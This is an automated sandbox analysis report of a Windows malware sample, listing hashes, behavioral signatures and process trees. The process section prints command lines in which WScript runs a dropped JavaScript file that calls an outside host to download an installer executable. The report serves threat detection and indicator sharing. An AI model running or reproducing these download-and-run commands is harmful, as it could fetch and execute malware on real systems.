Analysis
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max time kernel
93s -
max time network
94s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
01/06/2024, 20:12
Static task
static1
Behavioral task
behavioral1
Sample
8ba333b98a38b67f9d30f42dc614afe7_JaffaCakes118.exe
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
8ba333b98a38b67f9d30f42dc614afe7_JaffaCakes118.exe
Resource
win10v2004-20240426-en
General
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Target
8ba333b98a38b67f9d30f42dc614afe7_JaffaCakes118.exe
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Size
184KB
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MD5
8ba333b98a38b67f9d30f42dc614afe7
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SHA1
e0a78d2648530a0606b41421b56c2c9cff8c608c
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SHA256
29dabe35f9152188abfde68ee58856d47a421c7d7bda87ff68c5bf5f692d00df
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SHA512
8a0301bdc4565264d364b33cae53d3d7566d911814062d1dcc6cedf5dd91823cf65bc889c59838f23449df9120d40baf35a71900751a6fab21c98439db46931e
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SSDEEP
3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO30W:/7BSH8zUB+nGESaaRvoB7FJNndnw
Malware Config
Signatures
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Blocklisted process makes network request 5 IoCs
flow pid Process 7 4180 WScript.exe 27 3188 WScript.exe 31 4600 WScript.exe 43 3248 WScript.exe 46 3756 WScript.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000\Control Panel\International\Geo\Nation 8ba333b98a38b67f9d30f42dc614afe7_JaffaCakes118.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Program crash 1 IoCs
pid pid_target Process procid_target 3320 4344 WerFault.exe 80 -
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000_Classes\Local Settings 8ba333b98a38b67f9d30f42dc614afe7_JaffaCakes118.exe -
Suspicious use of WriteProcessMemory 15 IoCs
description pid Process procid_target PID 4344 wrote to memory of 4180 4344 8ba333b98a38b67f9d30f42dc614afe7_JaffaCakes118.exe 81 PID 4344 wrote to memory of 4180 4344 8ba333b98a38b67f9d30f42dc614afe7_JaffaCakes118.exe 81 PID 4344 wrote to memory of 4180 4344 8ba333b98a38b67f9d30f42dc614afe7_JaffaCakes118.exe 81 PID 4344 wrote to memory of 3188 4344 8ba333b98a38b67f9d30f42dc614afe7_JaffaCakes118.exe 92 PID 4344 wrote to memory of 3188 4344 8ba333b98a38b67f9d30f42dc614afe7_JaffaCakes118.exe 92 PID 4344 wrote to memory of 3188 4344 8ba333b98a38b67f9d30f42dc614afe7_JaffaCakes118.exe 92 PID 4344 wrote to memory of 4600 4344 8ba333b98a38b67f9d30f42dc614afe7_JaffaCakes118.exe 93 PID 4344 wrote to memory of 4600 4344 8ba333b98a38b67f9d30f42dc614afe7_JaffaCakes118.exe 93 PID 4344 wrote to memory of 4600 4344 8ba333b98a38b67f9d30f42dc614afe7_JaffaCakes118.exe 93 PID 4344 wrote to memory of 3248 4344 8ba333b98a38b67f9d30f42dc614afe7_JaffaCakes118.exe 95 PID 4344 wrote to memory of 3248 4344 8ba333b98a38b67f9d30f42dc614afe7_JaffaCakes118.exe 95 PID 4344 wrote to memory of 3248 4344 8ba333b98a38b67f9d30f42dc614afe7_JaffaCakes118.exe 95 PID 4344 wrote to memory of 3756 4344 8ba333b98a38b67f9d30f42dc614afe7_JaffaCakes118.exe 96 PID 4344 wrote to memory of 3756 4344 8ba333b98a38b67f9d30f42dc614afe7_JaffaCakes118.exe 96 PID 4344 wrote to memory of 3756 4344 8ba333b98a38b67f9d30f42dc614afe7_JaffaCakes118.exe 96
Processes
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C:\Users\Admin\AppData\Local\Temp\8ba333b98a38b67f9d30f42dc614afe7_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\8ba333b98a38b67f9d30f42dc614afe7_JaffaCakes118.exe"1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4344 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3558.js" http://www.djapp.info/?domain=SMTLBNXaus.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjRkMq1-z3n14mGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4TnN8h7QLzH0U3xJfiM4HTyzx-uhliieAHsAuFdn1QCdbTV8zh C:\Users\Admin\AppData\Local\Temp\fuf3558.exe2⤵
- Blocklisted process makes network request
PID:4180
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3558.js" http://www.djapp.info/?domain=SMTLBNXaus.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjRkMq1-z3n14mGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4TnN8h7QLzH0U3xJfiM4HTyzx-uhliieAHsAuFdn1QCdbTV8zh C:\Users\Admin\AppData\Local\Temp\fuf3558.exe2⤵
- Blocklisted process makes network request
PID:3188
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3558.js" http://www.djapp.info/?domain=SMTLBNXaus.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjRkMq1-z3n14mGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4TnN8h7QLzH0U3xJfiM4HTyzx-uhliieAHsAuFdn1QCdbTV8zh C:\Users\Admin\AppData\Local\Temp\fuf3558.exe2⤵
- Blocklisted process makes network request
PID:4600
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3558.js" http://www.djapp.info/?domain=SMTLBNXaus.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjRkMq1-z3n14mGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4TnN8h7QLzH0U3xJfiM4HTyzx-uhliieAHsAuFdn1QCdbTV8zh C:\Users\Admin\AppData\Local\Temp\fuf3558.exe2⤵
- Blocklisted process makes network request
PID:3248
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3558.js" http://www.djapp.info/?domain=SMTLBNXaus.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjRkMq1-z3n14mGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4TnN8h7QLzH0U3xJfiM4HTyzx-uhliieAHsAuFdn1QCdbTV8zh C:\Users\Admin\AppData\Local\Temp\fuf3558.exe2⤵
- Blocklisted process makes network request
PID:3756
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4344 -s 14602⤵
- Program crash
PID:3320
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 360 -p 4344 -ip 43441⤵PID:2824
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
3KB
MD53813cab188d1de6f92f8b82c2059991b
SHA14807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA256a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
SHA51283b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76